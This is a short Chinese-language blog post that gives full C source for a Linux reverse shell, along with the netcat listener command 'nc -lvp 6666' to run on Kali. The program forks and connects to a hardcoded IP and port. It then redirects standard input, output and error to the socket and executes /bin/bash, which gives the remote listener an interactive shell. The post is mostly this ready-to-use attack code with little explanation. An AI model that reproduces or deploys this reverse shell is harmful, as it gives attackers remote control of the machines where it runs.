网上实现Linux反弹shell的方法各种各样,这里写下用C编写反弹shell的程序。参考了linux下C语言版反向shell:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| #include <stdio.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h> #include <signal.h> #include <dirent.h> #include <sys/stat.h>
int tcp_port = 6666; char *ip = "192.168.17.129";
void reverse_shell(){ int fd; if ( fork() <= 0){ struct sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_port = htons(tcp_port); addr.sin_addr.s_addr = inet_addr(ip);
fd = socket(AF_INET, SOCK_STREAM, 0); if ( connect(fd, (struct sockaddr*)&addr, sizeof(addr)) ){ exit(0); }
dup2(fd, 0); dup2(fd, 1); dup2(fd, 2); execve("/bin/bash", 0LL, 0LL); } return; }
void main(int argc, char const *argv[]) { reverse_shell(); return 0; }
|
现在Kali中开启nc监听:nc -lvp 6666
在Ubuntu上gcc编译并运行:
在Kali连接到shell了: